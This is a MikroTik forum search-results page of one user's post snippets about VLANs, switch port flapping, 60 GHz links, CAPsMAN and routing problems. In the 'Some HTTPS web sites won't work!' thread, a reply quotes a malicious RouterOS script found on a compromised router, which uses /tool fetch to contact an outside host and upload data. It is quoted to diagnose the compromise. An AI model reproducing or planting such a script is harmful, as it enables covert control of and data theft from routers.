Community discussions

Search found 52 matches

by Elliot
Sun Oct 20, 2019 12:10 pm
Forum: General
Topic: CRS125-24G-1S TCP (and other?) traffic exiting access port is sometimes tagged and sometimes not
Replies: 11
Views: 886

Re: CRS125-24G-1S TCP (and other?) traffic exiting access port is sometimes tagged and sometimes not

As requested: ...snip... 59 ADo 10.235.103.0/24 10.250.3.10 110 60 ADo 10.235.254.0/24 10.250.3.10 110 61 ADC 10.250.2.0/24 10.250.2.3 vlan2-management 0 62 ADC 10.250.2.13/32 10.250.2.13 vlan2-management 0 63 ADC 10.250.3.0/24 10.250.3.14 vlan3-interrouter 0 64 ADo 10.250.10.0/24 10.250.3.12 110 ....
by Elliot
Mon Sep 02, 2019 11:13 pm
Forum: General
Topic: CRS125-24G-1S TCP (and other?) traffic exiting access port is sometimes tagged and sometimes not
Replies: 11
Views: 886

Re: CRS125-24G-1S TCP (and other?) traffic exiting access port is sometimes tagged and sometimes not

Hi friend, first of all before anything you really need to study (2-3h max) about how switch chips in different Mikrotik works. You do VLAN on CRS125 like you would on CRS3xx series hence your poor performance. There's a manual how to do VLANs on CRS1xx/CRS2xx series. link CRS1xx/CRS2xx https://wiki...
by Elliot
Mon Aug 12, 2019 10:33 pm
Forum: General
Topic: VLAN Isolation
Replies: 0
Views: 268

VLAN Isolation

Hi guys, I have found myself in a peculiar situation. I'm working as network engineer for about 2 years now without any formal education or knowledge. I'd like to think that I'm smart so I was able to learn a lot of things fast. I was able to self taught myself a lot of thing about how netwrok a dat...
by Elliot
Wed Jul 31, 2019 8:53 pm
Forum: General
Topic: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+
Replies: 149
Views: 20011

Re: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+

To all posters here, i'm afraid that this is a combination of HW and SW problem when there's a SFP+ connection between CRS 317 and CRS 328 and simply put, don't expect that anything's gonna change anytime soon. We've replaced CRS 328 with much more expensive Cisco devices and it works like a charm....
by Elliot
Mon Jul 29, 2019 9:07 pm
Forum: General
Topic: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+
Replies: 149
Views: 20011

Re: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+

To all posters here, i'm afraid that this is a combination of HW and SW problem when there's a SFP+ connection between CRS 317 and CRS 328 and simply put, don't expect that anything's gonna change anytime soon. We've replaced CRS 328 with much more expensive Cisco devices and it works like a charm. ...
by Elliot
Tue Jul 16, 2019 5:34 pm
Forum: Wireless Networking
Topic: Align LHG 60ad - 60ghz
Replies: 2
Views: 809

Re: Align LHG 60ad - 60ghz

Hi, Bumping this thread. Are these obvious / dumb questions or doesn't anyone know the answers? I'm really curious to what these stats exactly mean. Thanks! There's a LHG 60G experience thread, you should ask these questions there, don't be reduntant. Also Mikrotik released some documentation and v...
by Elliot
Thu May 02, 2019 12:34 pm
Forum: General
Topic: CCR1072 vs Oem İ9-9900K
Replies: 13
Views: 1243

Re: CCR1072 vs Oem İ9-9900K

Hello,

CCR1072 vs Oem İ9-9900K

Where can I get the best processor performance? I have 10g uplink with high CPU usage.

Or is there anything you'd suggest better?

Regards.
It really depends on your needs. Mikrotik CCR1072 is great with anything that have a lot of smaller connections.
by Elliot
Sat Apr 06, 2019 12:34 pm
Forum: The User Manager
Topic: HEX S - User Manager (Will it be enough)
Replies: 3
Views: 763

Re: HEX S - User Manager (Will it be enough)

Would you use a Mini to transport the local school rugby / soccer team to a game? The Hex S is a SOHO device, that is an acronym for "Small Office / Home Office", do you think what you are trying to do fits in there? Although your sarcastic comment is appreciated it's not what I needed. At least yo...
by Elliot
Thu Apr 04, 2019 10:59 pm
Forum: The User Manager
Topic: HEX S - User Manager (Will it be enough)
Replies: 3
Views: 763

HEX S - User Manager (Will it be enough)

My question is quite straightforward. Does HEX S will be enough to run User Manager for maximum of 300 clients? Should I buy SD Card for storage ? Or should I forgot it and install RouterOS on x86 architecture, because HEX S won't have enough processing power? I don't have any experience with RADIUS...
by Elliot
Wed Dec 12, 2018 4:19 pm
Forum: Wireless Networking
Topic: LHG W60 - beamforming
Replies: 3
Views: 482

Re: LHG W60 - beamforming

Clarify your question please. The device uses beamforming automatically, there is no need to "do it" yourself. Just point both devices in the general direction of each other, and the algorythm will work it's magic by itself. I'm no sure myself. We have done allignment in summer and we had RSSI abou...
by Elliot
Wed Dec 12, 2018 3:51 pm
Forum: Wireless Networking
Topic: LHG W60 - beamforming
Replies: 3
Views: 482

LHG W60 - beamforming

Hi guys,

does anyone here know how to do beamforming with LHG60 wireless wire?

Also what RSSI should I get on 340m link with clear view?


Thank you
by Elliot
Tue Dec 11, 2018 11:21 am
Forum: General
Topic: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+
Replies: 149
Views: 20011

Re: Severe port flapping on CRS328-24P-4S+ and CRS317-1G-16S+

I have the SAME EXACT problem. Mikrotik needs to fix this. No problem with 1Gbps SFP but with OWM SFP+ it's hell. I think this could be combination of software and hardware problem with SFP+ modules.
by Elliot
Fri Nov 30, 2018 11:23 am
Forum: General
Topic: Block VPN access to VLAN
Replies: 11
Views: 780

Block VPN access to VLAN

Hello,
Could somebody here please tell me how to block traffic from certain VPN subnets to VLAN?

I have five VLANs (10,20,30,40,111) and I need certain VPN users (subnets) be able to only go to VLAN 10 a nowhere else.
by Elliot
Mon Nov 26, 2018 4:23 pm
Forum: General
Topic: Windows update + Proxy
Replies: 5
Views: 681

Re: Windows update + Proxy

Shouldn't they have a WSUS server for centralized update management?
Sadly they don't have money to buy a server.
by Elliot
Mon Nov 26, 2018 4:18 pm
Forum: General
Topic: Windows update + Proxy
Replies: 5
Views: 681

Re: Windows update + Proxy

i will suggest you setup a firewall rule to capture the destination ip address of the server responsible for the update and setup a firewall rule to drop traffic to the server so as to make use of the internet service. hope this will work???? I can do that no problem, but their teacher of IT (he's ...
by Elliot
Thu Nov 22, 2018 1:10 pm
Forum: General
Topic: Windows update + Proxy
Replies: 5
Views: 681

Windows update + Proxy

Hey guys, I've set-up internal network in local school and everything works like a charm until local computers decides to update Windows OS. Main problem is bottleneck on ISP side (30M/30M). Could anybody tell me how to solve this problem without spending ton of money? I was thinking to use core Rou...
by Elliot
Wed Nov 14, 2018 12:03 pm
Forum: General
Topic: CRS 317/328 FCS Errors
Replies: 7
Views: 797

Re: CRS 317/328 FCS Errors

There is a software problem on SwOS. RouterOS works ok. That's how I solved the issue: I'm running RouterOS on the CRS328. I couldn't push 10Gbm since I didn't have hardware enough to test this. But I could (and did) pass 2Gb through the 10Gb interfaces - using two computers ate each CSS326( they w...
by Elliot
Tue Nov 13, 2018 10:52 am
Forum: General
Topic: CRS 317/328 FCS Errors
Replies: 7
Views: 797

Re: CRS 317/328 FCS Errors

I have bad news and good news. Which one do You want first? https://forum.mikrotik.com/viewtopic.php?f=17&t=139155 HAHA, thanks a lot, but I'd like to hear good news first. From what I've read it seems that there's software problem in RouterOS. I'm running ROS 43.4 on all Mikrotik devices. It also ...
by Elliot
Mon Nov 12, 2018 5:42 pm
Forum: General
Topic: CRS 317/328 FCS Errors
Replies: 7
Views: 797

CRS 317/328 FCS Errors

Hi everyone, our set up is CISCO 350X -> CRS317 -> CRS328 connected via optic fiber cable and SFP+ traceiver. I've noticed that there are over 7,5K disconnects between MK devices in interface status over 14 days of uptime. I've also noticed that there is a large number of FCS Error in counters. I've...
by Elliot
Thu Nov 01, 2018 12:24 pm
Forum: Wireless Networking
Topic: LHG 60G experience
Replies: 547
Views: 64248

Re: LHG 60G experience

I'm just want to share my experience with PtP W60G link. We've deployed this link about 45 days ago. Since then we have experience HEAVY rain (2 days non-stop) and light snowing. Link hasn't disconnected once and lowest MCM was 6. I've read that people have problems with allignment but we all have ...
by Elliot
Wed Oct 31, 2018 11:50 am
Forum: Wireless Networking
Topic: LHG 60G experience
Replies: 547
Views: 64248

Re: LHG 60G experience

Trying to work out if I should waste my time trying a 320 metre link with a pair of Wireless Wires? Don't need 1Gbit - I'd be happy with 200 bit. Is this going to fly based on people's experience with latest firmware? Dude read the fcking post here. I've post that I have 399m link working 1Gbps and...
by Elliot
Tue Oct 30, 2018 12:47 pm
Forum: Wireless Networking
Topic: LHG 60G experience
Replies: 547
Views: 64248

Re: LHG 60G experience

Thanks for reply, but I see it quite expensive bracket. And with my brick chimney 50m high, windload gives a lot of instability overall. So i'm not sure if it will help. 1/As for now I see signal 90-105 and mcs 8 to 11, are higher mcs even possible? 2/And what about pps or tcp is this arm cpu capab...
by Elliot
Wed Oct 24, 2018 12:20 pm
Forum: Wireless Networking
Topic: LHG 60G experience
Replies: 547
Views: 64248

Re: LHG 60G experience

I'm just want to share my experience with PtP W60G link. We've deployed this link about 45 days ago. Since then we have experience HEAVY rain (2 days non-stop) and light snowing. Link hasn't disconnected once and lowest MCM was 6. I've read that people have problems with allignment but we all have b...
by Elliot
Fri Oct 05, 2018 4:05 pm
Forum: Wireless Networking
Topic: wAP 60G experience
Replies: 290
Views: 40728

Re: wAP 60G experience

Is there some tests completed on RBLHGG-60ad with frost cover on the reflector ? What can we expect, how it will behave in winter? I also like to add a question how many clients AP support? with new LHG 60G lite for clients it's datasheet says it can support maximum of 3 clients per AP which seems ...
by Elliot
Sun Sep 23, 2018 7:38 pm
Forum: Wireless Networking
Topic: LHG 60G PtP setup
Replies: 0
Views: 623

LHG 60G PtP setup

hey guys, We have recently setup a new PtP backbone link but i've experinced some issues. I'm not sure if we have some kind of problem on SXT SA5 or some other device. setup looks like this: LHG 60G (with routing table) -> LGH 60G (mode station; with bridged interfaces) -> CRS112 (bridged all interf...
by Elliot
Thu Sep 13, 2018 5:49 pm
Forum: Announcements
Topic: v6.43 [current] is released!
Replies: 148
Views: 29003

Re: v6.43 [current] is released!

For those guys that say they got locked out from winbox. Please DO READ THE CHANGELOG. You now have to log with winbox no older than 3.15 ;) Also great Job gus for fixing those security holes. But please check from time to time 0dayz for any upcomming exploits. I'm sure they are looking forward to b...
by Elliot
Thu Sep 13, 2018 5:42 pm
Forum: General
Topic: VLANs for VoIP on Mikrotik
Replies: 2
Views: 2369

Re: VLANs for VoIP on Mikrotik

Just to add don't forget to upgrade your ROS and enable Vlan filtering on your bridge.
by Elliot
Wed Sep 12, 2018 8:03 pm
Forum: Wireless Networking
Topic: CAPsMAN VLAN [SOLVED]
Replies: 1
Views: 443

Re: CAPsMAN VLAN [SOLVED]

It's okey guys. I've troubleshoot the problem. I haven't tagged wlan1 on CAP device in Bridge -> VLAN. I've noticed that guest network VLAN30 (virtual ap) was dinamically added to tagged port in Bridge -> VLAN and I've even gotten IP from VLAN30 DHCP server but main wlan interface didn't work. I've ...
by Elliot
Wed Sep 12, 2018 3:30 pm
Forum: Wireless Networking
Topic: CAPsMAN VLAN [SOLVED]
Replies: 1
Views: 443

CAPsMAN VLAN [SOLVED]

Hi everyone, I feel like a noob, but i'm having a difficult time setting up a separate VLANs on CAPsMAN. I need you guy to help me configure CAPsMAN and CAP so primary wlan is in VLAN10 and virtual wlan is in VLAN30. Setup looks similar to this: CAP -> Cisco SG500 -> CAPsMAN configuration of test CA...
by Elliot
Wed Aug 15, 2018 4:37 pm
Forum: Wireless Networking
Topic: How many clients for SXT SA5 ?
Replies: 0
Views: 307

How many clients for SXT SA5 ?

Hey guys, I have a simple question. What is the ideal and maximum number of clients (in your experience) connected to a single SXT SA5? I'm asking because I like like when my wireless networks works fine and I think that more than 14 clients may be too much for this unit considering each client have...
by Elliot
Wed Aug 15, 2018 2:30 pm
Forum: General
Topic: 2 WAN connections with redundacy [SOLVED]
Replies: 8
Views: 710

Re: 2 WAN connections with redundacy [SOLVED]

Thanks a lot. As DJ Khaled would say "you da best". Now I can see the fallacy in my understanding. It is actualy pretty obvious when I think about it..nevertheless thank you again for pointing out my mistake in configuration. Everything is working as it should now and I'll make sure to use it in the...
by Elliot
Tue Aug 14, 2018 11:04 pm
Forum: General
Topic: 2 WAN connections with redundacy [SOLVED]
Replies: 8
Views: 710

Re: 2 WAN connections with redundacy [SOLVED]

Máš pravdu, že první článek častečně sedí na failover. Chyba je nejspíš někde v záložce IP route, ale nevim kde a jakou hodnotu musím nastavit pro ISP2, aby když vypadne spojeni s ISP1, tak mi veškerý provoz pojede přez konektivitu od o2. Paradoxně mi toto úplně nevadí vzhledem k tomu, že linka od o...
by Elliot
Tue Aug 14, 2018 9:46 pm
Forum: General
Topic: 2 WAN connections with redundacy [SOLVED]
Replies: 8
Views: 710

Re: 2 WAN connections with redundacy [SOLVED]

This article has it all. And this post is useful when you want to use more complex policy routing. Thank you very much for your quick response, but those articles/topics doesn't deal with my particular situation. I need to have some sort of load balancing using routing marks. In my case all traffic...
by Elliot
Tue Aug 14, 2018 12:37 pm
Forum: General
Topic: 2 WAN connections with redundacy [SOLVED]
Replies: 8
Views: 710

2 WAN connections with redundacy [SOLVED]

Hey guys, I need help with configuration. I need to configure failover on my router but it needs to work only when one of the connection is completely lost. I have 2 ISP providers and one portion of my network is going through ISP2 and other is going through ISP2. It's kind of "load balance" but whe...
by Elliot
Fri Jul 27, 2018 10:55 am
Forum: Wireless Networking
Topic: Timeout/disconnected if many users are connected to WifI
Replies: 4
Views: 584

Re: Timeout/disconnected if many users are connected to WifI

Do you use CAPsMAN? What is your access list policy (disconnect anyone with signal worse than -90 ?)? Does you cAP and Router have newest RouterOS?
by Elliot
Thu Jun 28, 2018 2:17 pm
Forum: General
Topic: lost basebox 5 licence
Replies: 4
Views: 667

Re: lost basebox 5 licence

Basebox AC has been released with 6.x version of RouterOS, you can downgrade it to 5.x, just use netinstall again and install 6.x version on it and license will be restored. You are right and it's nice and dandy but maybe he doesn't have easy access to his basebox to netinstall it. It might be 50m-...
by Elliot
Thu Jun 28, 2018 2:12 pm
Forum: Wireless Networking
Topic: CAPsMAN "fun"
Replies: 35
Views: 4993

Re: CAPsMAN "fun"

Howzit, Either everyone has similar ussues or this issue is unknown or new :-) So, in order to verify if it is device density per AP or CAPsMAN's inability to deal with that level of device density per AP, I removed the AP from the CAPsMAN setup and did a local only setup. Thus, the 2.4GHz radio's ...
by Elliot
Wed Jun 27, 2018 4:20 pm
Forum: Wireless Networking
Topic: Rate Limiting in Caps-Man?
Replies: 11
Views: 2364

Re: Rate Limiting in Caps-Man?

I have been using Caps-Man for a while now and am considering TRYING it out where I ALWAYS use Ruckus. I am figuring out how to get more and more of the functionality... but a big one I am stuck on. I can't seem to figure out how to rate limit clients on an SSID. When I have a guest network... the ...
by Elliot
Wed Jun 27, 2018 4:15 pm
Forum: General
Topic: lost basebox 5 licence
Replies: 4
Views: 667

Re: lost basebox 5 licence

dear sir any one help me i have basebox 5 which firmware corrupt than i install firmware 5.26 via netinstall than install success device is on properly than logging in device show in front you have no license please insert licence other device is working stop in 24h . so dear sir what will be do to...
by Elliot
Wed Jun 27, 2018 4:08 pm
Forum: Wireless Networking
Topic: wireless connection error
Replies: 2
Views: 462

Re: wireless connection error

hi there, i am staying at a place that having free wireless provided. as the signal into my room is not good enough, i try to connect my router (RB931, RB941 and RB952), but all of them gave me an error message "failed to connect, on 2427/20/b, association failed: does not support all basic rates (...
by Elliot
Wed Jun 27, 2018 4:03 pm
Forum: Wireless Networking
Topic: CAPsMAN "fun"
Replies: 35
Views: 4993

Re: CAPsMAN "fun"

Howzit, Either everyone has similar ussues or this issue is unknown or new :-) So, in order to verify if it is device density per AP or CAPsMAN's inability to deal with that level of device density per AP, I removed the AP from the CAPsMAN setup and did a local only setup. Thus, the 2.4GHz radio's ...
by Elliot
Wed Jun 27, 2018 3:52 pm
Forum: General
Topic: Some HTTPS web sites won't work!
Replies: 8
Views: 1048

Re: Some HTTPS web sites won't work!

So today I've noticed that same behaviour on clients CAPsMAN radios because when they've tried to autoupdate new packages they've printed out "connection time out". So i've played a little bit with NAT and since our client have routed pub IP there has been only on NAT rule see below add action=src-n...
by Elliot
Wed Jun 27, 2018 11:27 am
Forum: General
Topic: Some HTTPS web sites won't work!
Replies: 8
Views: 1048

Re: Some HTTPS web sites won't work!

In your configuration we can see : add action=change-mss chain=forward new-mss=1500 protocol=tcp tcp-flags=syn \ tcp-mss=1361-65535 It shouldn't work. And why did you set MTU 1520 to your bridges? Then, your router is still compromised : /ppp aaa set interim-update=1m use-circuit-id-in-nas-port-id=...
by Elliot
Tue Jun 26, 2018 5:31 pm
Forum: General
Topic: Some HTTPS web sites won't work!
Replies: 8
Views: 1048

Re: Some HTTPS web sites won't work!

/ip firewall mangle add out-interface=YOUR_WAN_INTERFACE protocol=tcp tcp-flags=syn action=change-mss new-mss=1300 chain=forward tcp-mss=1301-65535 Try this on router, and see if its helps. Does your ISP use pppoe'? Then you need to change MTU I've tried your firewall rule and it still times out wh...
by Elliot
Tue Jun 26, 2018 2:43 pm
Forum: General
Topic: Some HTTPS web sites won't work!
Replies: 8
Views: 1048

Re: Some HTTPS web sites won't work!

Hello, your router seems to have been attacked, check this : /system script add name=ip owner=admin policy=\ reboot,read,write,policy,test,password,sniff,sensitive source="{/tool fetch \ url=(\"http://www.boss-ip.com/Core/Update.ashx ... 98fa&actio\ n=upload&sncode=F8C49100B20F15CD3F906164FD50CB7A&...
by Elliot
Mon Jun 25, 2018 6:58 pm
Forum: General
Topic: Some HTTPS web sites won't work!
Replies: 8
Views: 1048

Some HTTPS web sites won't work!

Hi everyone, I really hope someone here will help to solve this issue. I have recently set up CAPsMAN for one of my client. His antenna (RB RXT) acts as a router and wifi-aps are set as bridges (2x RB 951G) Client's devices won't show certain sites. I suspected that this could be some sort of MTU is...
by Elliot
Thu Jun 07, 2018 8:23 pm
Forum: Wireless Networking
Topic: Mikrotik wi-fi and Iphone = problem
Replies: 69
Views: 45574

Re: Mikrotik wi-fi and Iphone = problem

Have problem with Mikrotik Groove A52 and all Iphone devices Before installing Mikrotik have worked TP-link , no problems with wi-fi We install Mikrotik and iPhone stops work normaly Internet after a while. I wrote many times tickets, tech support does not help. I tried to change the country, the c...
by Elliot
Wed Jan 31, 2018 12:29 pm
Forum: Wireless Networking
Topic: Terrible NV2 Ac Network P2MP
Replies: 13
Views: 1668

Re: Terrible NV2 Ac Network P2MP

Hi, try 802.11 instead of nv2 check you channel, with this CCQ it is not free. If you don't have a coward 80 Mhz Channel try 40 Mhz... First of all: Thanks for your reply!!! I've tryed every setting, Before in 802.11 and i've a very poor bw... Than i've switched in nstream/ nv2, in comparison nv2 g...
by Elliot
Thu Jun 01, 2017 5:15 pm
Forum: Wireless Networking
Topic: iOS devices: disconnected, extensive data loss.
Replies: 3
Views: 2599

Re: iOS devices: disconnected, extensive data loss.

I'm well aware of that, but you have to understand that it's cause by some other device in the area. I have this issue only with one klient (samsung devices are disconnecting) and their problems started when they've bought new wireless phones (it may cause interference). My other clients all have 4+...
by Elliot
Thu Jun 01, 2017 1:32 pm
Forum: Wireless Networking
Topic: iOS devices: disconnected, extensive data loss.
Replies: 3
Views: 2599

Re: iOS devices: disconnected, extensive data loss.

I currently dealing with similar problem. What I understand is that there could quite a few issues wrong. A: incorrect wireless setup - do not enable any Mikrotik specialities like hw protection etc. / check for correct DHCP setup B: Are there any other devices like telefonica o2 phones and sh*t lik...
by Elliot
Wed May 31, 2017 6:55 pm
Forum: Wireless Networking
Topic: nv2 tcp single conncetion problem
Replies: 8
Views: 1227

Re: nv2 tcp single conncetion problem

Elliot can i ask you why use nstreme (exact size - 3600+). what is the purpose to it? i was thinking what could fix the disconnecting issue Sure you can. I'm not a guru in terms of Mikrotik devices but over last year I've only one job - to make link as good as possible in heavy noise/interference e...
by Elliot
Tue May 30, 2017 3:38 pm
Forum: Wireless Networking
Topic: nv2 tcp single conncetion problem
Replies: 8
Views: 1227

Re: nv2 tcp single conncetion problem

I've experienced same issue just a few days ago. After extensive research and some tweaking I was able to get some answers. I'm not sure about your setup but I suspect you have multiple p2p/p2mp links with nv2 (from internet to client/ap). I don't know the exact cause of this but nv2 in Mikrotik don...